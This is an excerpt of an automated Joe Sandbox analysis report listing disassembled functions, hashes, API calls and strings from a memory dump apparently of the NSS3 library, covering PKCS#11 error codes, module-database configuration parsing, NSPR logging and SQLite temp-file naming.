Opcode ID: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction ID: 0bc60c790d15b52a294fe78b9023c1d560ff737a3ec6f2b9e672f9e87eeec3d4
Opcode Fuzzy Hash: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction Fuzzy Hash: FAC127B1A043068BDB04CF5DCC907AAB7B2EF45318F668919D995CBB42DB31F842C799

Function 6C765E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B90: PR_Lock.NSS3(00010000,?,00000000,?,6C64DF9B), ref: 6C765B9E
Part of subcall function 6C765B90: PR_Unlock.NSS3 ref: 6C765BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C765E23,6C64E154), ref: 6C765EBF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 29a81201947cf643ec3bc44d36bc7ce74ecef61bd95f9f258040ca1c9eae7eac
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 4D519D72E0021A8FCB18CF59C9819AEF3B2FF88314B19457DD815B7746E730A941CBA0

Function 6C71DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction ID: 6f89412660839bfbb2fb789833f2b616d51b3692c00dcaec851efb280ef3804c
Opcode Fuzzy Hash: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction Fuzzy Hash: F0F16A71A04209CFDB09CF19C594BAA77B2BF89318F294178E8199BB41CB35ED42CBD5

Function 6C6B1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 6348150f16bee34cbf3be623f1d5d1efa7281fe6ed4a8495cc3507542e481558
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 9CD16B32D086568BDB118E18C8843DA77A3AB85328F1D4329DD747B7C6C37BA926C7D4

Function 6C648EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction ID: 1622172d4f9a442df465402b08bf12ee4b63b1d0d06476e9604433c7a7e18970
Opcode Fuzzy Hash: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction Fuzzy Hash: EE11E232A002198BD704CF15D884B9AB7A5BF4A358F04C2BAD805CFA61C375D882C7C9

Function 6C720C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction ID: 979fcc01a80d88852cbda04af60db50f49e0b067493dd87dd6010ba0e473dd42
Opcode Fuzzy Hash: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction Fuzzy Hash: 2311BFB46043058FCB00DF18C8946AA7BA5EF85368F148079D8198B701DB35E846CBA0

Function 6C693FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction ID: aaa21d302558c3844d7df4e51989134a7fd40b46e3c929224290d4ed7d5f5e7a
Opcode Fuzzy Hash: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction Fuzzy Hash: EDF03A70A0465D8BCB10DF69C55159EB7F8EF0E254B109629EC89AB301EB70AAD4C7D1

Function 6C720D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 73bb9faebba6c6434ab638d4f21b3fee4919f997bcf2fe20e68cc85889a39d4e
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 0CE0923A243058A7DB148E09C565AA97359DF81619FB4807DCC5D9FE01D737F90387A1

Function 6C64CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction ID: 5b601a91b7cd2a313a955e25909f9f71cfaa64f274997cbc46c2e2b6dcc15226
Opcode Fuzzy Hash: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction Fuzzy Hash: F9C04838244608CFC704DE08E499DA43BA8AB0961070400A4EA028B721DA21F800DA84

Function 6C681D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C681D46), ref: 6C682345

Strings

CKR_PIN_LOCKED, xrefs: 6C682075
CKR_DEVICE_REMOVED, xrefs: 6C682261
rv = 0x%x, xrefs: 6C682312
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C681DE0
CKR_OPERATION_ACTIVE, xrefs: 6C6822B8
CKR_DEVICE_ERROR, xrefs: 6C68229D
CKR_SAVED_STATE_INVALID, xrefs: 6C681E56
CKR_MUTEX_NOT_LOCKED, xrefs: 6C682225
CKR_FUNCTION_CANCELED, xrefs: 6C681E73
CKR_NEW_PIN_MODE, xrefs: 6C681E9F
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C681F77
CKR_OK, xrefs: 6C681DFC
CKR_BUFFER_TOO_SMALL, xrefs: 6C682183
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C682293, 6C68233F
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6820D9
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6822FF
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C68227F
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C682320
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C681FD7
CKR_WRAPPED_KEY_INVALID, xrefs: 6C681FB5
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C682327
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C68204D
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C681F95
CKR_FUNCTION_REJECTED, xrefs: 6C682289
CKR_NEXT_OTP, xrefs: 6C68222F
CKR_PIN_INCORRECT, xrefs: 6C681D92
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C682319
CKR_TOKEN_NOT_PRESENT, xrefs: 6C681F81
rv = %s, xrefs: 6C682340
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C681F8B
CKR_DEVICE_MEMORY, xrefs: 6C681FF3
CKR_INFORMATION_SENSITIVE, xrefs: 6C6822B1
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C682015
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C681F0F
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C681EE1
CKR_PIN_LEN_RANGE, xrefs: 6C682061
CKR_RANDOM_NO_RNG, xrefs: 6C6822A7
CKR_MUTEX_BAD, xrefs: 6C681F49
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C68226B
CKR_PIN_INVALID, xrefs: 6C682057
CKR_SIGNATURE_INVALID, xrefs: 6C6820CF
CKR_PIN_EXPIRED, xrefs: 6C68206B
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C682179
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C68218D
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C68232E
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C682275
CKR_STATE_UNSAVEABLE, xrefs: 6C682037

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction ID: da3b4e072807a8d919c8bdebd02ccf90b0503af9a225f782f82d2f8772114a3a
Opcode Fuzzy Hash: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction Fuzzy Hash: B261112068F054C7E65C444CB2BE7AC2374BB07315F64823FE7968EE91D695CA8246BF

Function 6C6B5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C6B5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C6B5E5C
free.MOZGLUE(00000000), ref: 6C6B5E7E
free.MOZGLUE(00000000), ref: 6C6B5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C6B5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C6B5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C6B5EF0
free.MOZGLUE(00000000), ref: 6C6B5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C6B5F5B
free.MOZGLUE(00000000), ref: 6C6B5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C6B5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C6B5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B5FC4
free.MOZGLUE(00000000), ref: 6C6B5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B5FE9
free.MOZGLUE(00000000), ref: 6C6B5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C6B605A
PR_smprintf.NSS3(6C78AAF9,00000000), ref: 6C6B606A
free.MOZGLUE(00000000), ref: 6C6B607C
free.MOZGLUE(00000000), ref: 6C6B609A
free.MOZGLUE(00000000), ref: 6C6B60B2
free.MOZGLUE(?), ref: 6C6B60CE

Strings

secmod.db, xrefs: 6C6B5EA0
forceSecmodChoice, xrefs: 6C6B5F55
pkcs11.txt, xrefs: 6C6B5F47, 6C6B5F7C, 6C6B603A, 6C6B6053
configDir=, xrefs: 6C6B5F9D
flags, xrefs: 6C6B5E3A, 6C6B5EC6, 6C6B5F30
secmod=, xrefs: 6C6B5FB1
readOnly, xrefs: 6C6B5E56
%s/%s, xrefs: 6C6B6055
noModDB, xrefs: 6C6B5EEA

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction ID: 8e4ce998018fdc3f5a0a9ee57da4532335ba39161a0b70aadb0a87b8375467fa
Opcode Fuzzy Hash: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction Fuzzy Hash: F6910BF0A042056BEB019F65DD45BEA3BA86F0634CF080060FD55B7B42E731D526CBAA

Function 6C641D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C641DA3

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C641DB2

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C641DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C641E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C641EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C641ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C641EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C641F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C641F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C641F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C641F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C641F83
PR_SetLogFile.NSS3(00000000), ref: 6C641FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C641FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C641FCB
free.MOZGLUE(00000000), ref: 6C641FD2

Strings

all, xrefs: 6C641F0E
timestamp, xrefs: 6C641EC4
Unable to create nspr log file '%s', xrefs: 6C641FB3
, %n, xrefs: 6C641E6B
NSPR_LOG_MODULES, xrefs: 6C641DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C641E27
NSPR_LOG_FILE, xrefs: 6C641F69
bufsize, xrefs: 6C641E9B
sync, xrefs: 6C641E46
append, xrefs: 6C641EE6

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction ID: 79fcaf9fef14b468d8e03f1a9735023f3bbf9ec3c43bfd487c92de74903a5a63
Opcode Fuzzy Hash: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction Fuzzy Hash: 1551CFB1E042499BDF00DBE5DD48B9E7BF8AF01309F088528E915DBA01E771D529CB99

Function 6C726E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5EBE66), ref: 6C726E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5EBE66), ref: 6C726E98
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,?,?,?,?,?,?,6C5EBE66), ref: 6C726EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5EBE66), ref: 6C726ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C726EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5EBE66), ref: 6C726FA6
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5EBE66), ref: 6C72701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C727030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C72705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5EBE66), ref: 6C727079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C7270A0

Strings

winGetTempname4, xrefs: 6C727046
Pvl, xrefs: 6C7270A8
winGetTempname1, xrefs: 6C72708F
mz_etilqs_, xrefs: 6C726F18
winGetTempname2, xrefs: 6C7270C4
